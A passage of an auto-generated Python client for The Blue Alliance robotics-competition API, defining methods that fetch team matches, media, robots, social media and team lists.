all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_events_statuses_by_year" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_events_statuses_by_year`") # noqa: E501 # verify the required parameter 'year' is set if ('year' not in params or params['year'] is None): raise ValueError("Missing the required parameter `year` when calling `get_team_events_statuses_by_year`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 if 'year' in params: path_params['year'] = params['year'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/events/{year}/statuses', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='dict(str, TeamEventStatus)', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_matches_by_year(self, team_key, year, **kwargs): # noqa: E501 """get_team_matches_by_year # noqa: E501 Gets a list of matches for the given team and year. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_matches_by_year(team_key, year, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param int year: Competition Year (or Season). Must be 4 digits. (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Match] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_matches_by_year_with_http_info(team_key, year, **kwargs) # noqa: E501 else: (data) = self.get_team_matches_by_year_with_http_info(team_key, year, **kwargs) # noqa: E501 return data def get_team_matches_by_year_with_http_info(self, team_key, year, **kwargs): # noqa: E501 """get_team_matches_by_year # noqa: E501 Gets a list of matches for the given team and year. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_matches_by_year_with_http_info(team_key, year, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param int year: Competition Year (or Season). Must be 4 digits. (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Match] If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'year', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_matches_by_year" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_matches_by_year`") # noqa: E501 # verify the required parameter 'year' is set if ('year' not in params or params['year'] is None): raise ValueError("Missing the required parameter `year` when calling `get_team_matches_by_year`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 if 'year' in params: path_params['year'] = params['year'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/matches/{year}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Match]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_matches_by_year_keys(self, team_key, year, **kwargs): # noqa: E501 """get_team_matches_by_year_keys # noqa: E501 Gets a list of match keys for matches for the given team and year. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_matches_by_year_keys(team_key, year, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param int year: Competition Year (or Season). Must be 4 digits. (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[str] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_matches_by_year_keys_with_http_info(team_key, year, **kwargs) # noqa: E501 else: (data) = self.get_team_matches_by_year_keys_with_http_info(team_key, year, **kwargs) # noqa: E501 return data def get_team_matches_by_year_keys_with_http_info(self, team_key, year, **kwargs): # noqa: E501 """get_team_matches_by_year_keys # noqa: E501 Gets a list of match keys for matches for the given team and year. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_matches_by_year_keys_with_http_info(team_key, year, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param int year: Competition Year (or Season). Must be 4 digits. (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[str] If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'year', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_matches_by_year_keys" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_matches_by_year_keys`") # noqa: E501 # verify the required parameter 'year' is set if ('year' not in params or params['year'] is None): raise ValueError("Missing the required parameter `year` when calling `get_team_matches_by_year_keys`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 if 'year' in params: path_params['year'] = params['year'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/matches/{year}/keys', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[str]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_matches_by_year_simple(self, team_key, year, **kwargs): # noqa: E501 """get_team_matches_by_year_simple # noqa: E501 Gets a short-form list of matches for the given team and year. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_matches_by_year_simple(team_key, year, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param int year: Competition Year (or Season). Must be 4 digits. (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[MatchSimple] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_matches_by_year_simple_with_http_info(team_key, year, **kwargs) # noqa: E501 else: (data) = self.get_team_matches_by_year_simple_with_http_info(team_key, year, **kwargs) # noqa: E501 return data def get_team_matches_by_year_simple_with_http_info(self, team_key, year, **kwargs): # noqa: E501 """get_team_matches_by_year_simple # noqa: E501 Gets a short-form list of matches for the given team and year. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_matches_by_year_simple_with_http_info(team_key, year, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param int year: Competition Year (or Season). Must be 4 digits. (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[MatchSimple] If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'year', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_matches_by_year_simple" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_matches_by_year_simple`") # noqa: E501 # verify the required parameter 'year' is set if ('year' not in params or params['year'] is None): raise ValueError("Missing the required parameter `year` when calling `get_team_matches_by_year_simple`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 if 'year' in params: path_params['year'] = params['year'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/matches/{year}/simple', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[MatchSimple]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_media_by_tag(self, team_key, media_tag, **kwargs): # noqa: E501 """get_team_media_by_tag # noqa: E501 Gets a list of Media (videos / pictures) for the given team and tag. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_media_by_tag(team_key, media_tag, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str media_tag: Media Tag which describes the Media. (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Media] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_media_by_tag_with_http_info(team_key, media_tag, **kwargs) # noqa: E501 else: (data) = self.get_team_media_by_tag_with_http_info(team_key, media_tag, **kwargs) # noqa: E501 return data def get_team_media_by_tag_with_http_info(self, team_key, media_tag, **kwargs): # noqa: E501 """get_team_media_by_tag # noqa: E501 Gets a list of Media (videos / pictures) for the given team and tag. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_media_by_tag_with_http_info(team_key, media_tag, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str media_tag: Media Tag which describes the Media. (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Media] If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'media_tag', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_media_by_tag" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_media_by_tag`") # noqa: E501 # verify the required parameter 'media_tag' is set if ('media_tag' not in params or params['media_tag'] is None): raise ValueError("Missing the required parameter `media_tag` when calling `get_team_media_by_tag`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 if 'media_tag' in params: path_params['media_tag'] = params['media_tag'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/media/tag/{media_tag}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Media]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_media_by_tag_year(self, team_key, media_tag, year, **kwargs): # noqa: E501 """get_team_media_by_tag_year # noqa: E501 Gets a list of Media (videos / pictures) for the given team, tag and year. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_media_by_tag_year(team_key, media_tag, year, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str media_tag: Media Tag which describes the Media. (required) :param int year: Competition Year (or Season). Must be 4 digits. (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Media] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_media_by_tag_year_with_http_info(team_key, media_tag, year, **kwargs) # noqa: E501 else: (data) = self.get_team_media_by_tag_year_with_http_info(team_key, media_tag, year, **kwargs) # noqa: E501 return data def get_team_media_by_tag_year_with_http_info(self, team_key, media_tag, year, **kwargs): # noqa: E501 """get_team_media_by_tag_year # noqa: E501 Gets a list of Media (videos / pictures) for the given team, tag and year. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_media_by_tag_year_with_http_info(team_key, media_tag, year, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str media_tag: Media Tag which describes the Media. (required) :param int year: Competition Year (or Season). Must be 4 digits. (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Media] If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'media_tag', 'year', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_media_by_tag_year" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_media_by_tag_year`") # noqa: E501 # verify the required parameter 'media_tag' is set if ('media_tag' not in params or params['media_tag'] is None): raise ValueError("Missing the required parameter `media_tag` when calling `get_team_media_by_tag_year`") # noqa: E501 # verify the required parameter 'year' is set if ('year' not in params or params['year'] is None): raise ValueError("Missing the required parameter `year` when calling `get_team_media_by_tag_year`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 if 'media_tag' in params: path_params['media_tag'] = params['media_tag'] # noqa: E501 if 'year' in params: path_params['year'] = params['year'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/media/tag/{media_tag}/{year}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Media]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_media_by_year(self, team_key, year, **kwargs): # noqa: E501 """get_team_media_by_year # noqa: E501 Gets a list of Media (videos / pictures) for the given team and year. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_media_by_year(team_key, year, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param int year: Competition Year (or Season). Must be 4 digits. (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Media] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_media_by_year_with_http_info(team_key, year, **kwargs) # noqa: E501 else: (data) = self.get_team_media_by_year_with_http_info(team_key, year, **kwargs) # noqa: E501 return data def get_team_media_by_year_with_http_info(self, team_key, year, **kwargs): # noqa: E501 """get_team_media_by_year # noqa: E501 Gets a list of Media (videos / pictures) for the given team and year. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_media_by_year_with_http_info(team_key, year, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param int year: Competition Year (or Season). Must be 4 digits. (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Media] If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'year', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_media_by_year" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_media_by_year`") # noqa: E501 # verify the required parameter 'year' is set if ('year' not in params or params['year'] is None): raise ValueError("Missing the required parameter `year` when calling `get_team_media_by_year`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 if 'year' in params: path_params['year'] = params['year'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/media/{year}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Media]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_robots(self, team_key, **kwargs): # noqa: E501 """get_team_robots # noqa: E501 Gets a list of year and robot name pairs for each year that a robot name was provided. Will return an empty array if the team has never named a robot. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_robots(team_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[TeamRobot] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_robots_with_http_info(team_key, **kwargs) # noqa: E501 else: (data) = self.get_team_robots_with_http_info(team_key, **kwargs) # noqa: E501 return data def get_team_robots_with_http_info(self, team_key, **kwargs): # noqa: E501 """get_team_robots # noqa: E501 Gets a list of year and robot name pairs for each year that a robot name was provided. Will return an empty array if the team has never named a robot. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_robots_with_http_info(team_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[TeamRobot] If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_robots" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_robots`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/robots', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[TeamRobot]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_simple(self, team_key, **kwargs): # noqa: E501 """get_team_simple # noqa: E501 Gets a `Team_Simple` object for the team referenced by the given key. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_simple(team_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: TeamSimple If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_simple_with_http_info(team_key, **kwargs) # noqa: E501 else: (data) = self.get_team_simple_with_http_info(team_key, **kwargs) # noqa: E501 return data def get_team_simple_with_http_info(self, team_key, **kwargs): # noqa: E501 """get_team_simple # noqa: E501 Gets a `Team_Simple` object for the team referenced by the given key. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_simple_with_http_info(team_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: TeamSimple If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_simple" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_simple`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/simple', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='TeamSimple', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_social_media(self, team_key, **kwargs): # noqa: E501 """get_team_social_media # noqa: E501 Gets a list of Media (social media) for the given team. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_social_media(team_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Media] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_social_media_with_http_info(team_key, **kwargs) # noqa: E501 else: (data) = self.get_team_social_media_with_http_info(team_key, **kwargs) # noqa: E501 return data def get_team_social_media_with_http_info(self, team_key, **kwargs): # noqa: E501 """get_team_social_media # noqa: E501 Gets a list of Media (social media) for the given team. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_social_media_with_http_info(team_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Media] If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_social_media" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_social_media`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/social_media', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Media]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_years_participated(self, team_key, **kwargs): # noqa: E501 """get_team_years_participated # noqa: E501 Gets a list of years in which the team participated in at least one competition. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_years_participated(team_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[int] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_years_participated_with_http_info(team_key, **kwargs) # noqa: E501 else: (data) = self.get_team_years_participated_with_http_info(team_key, **kwargs) # noqa: E501 return data def get_team_years_participated_with_http_info(self, team_key, **kwargs): # noqa: E501 """get_team_years_participated # noqa: E501 Gets a list of years in which the team participated in at least one competition. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_years_participated_with_http_info(team_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[int] If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_years_participated" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_years_participated`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/years_participated', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[int]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_teams(self, page_num, **kwargs): # noqa: E501 """get_teams # noqa: E501 Gets a list of `Team` objects, paginated in groups of 500. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_teams(page_num, async_req=True) >>> result = thread.get() :param async_req bool :param int page_num: Page number of results to return, zero-indexed (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Team] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_teams_with_http_info(page_num, **kwargs) # noqa: E501 else: (data) = self.get_teams_with_http_info(page_num, 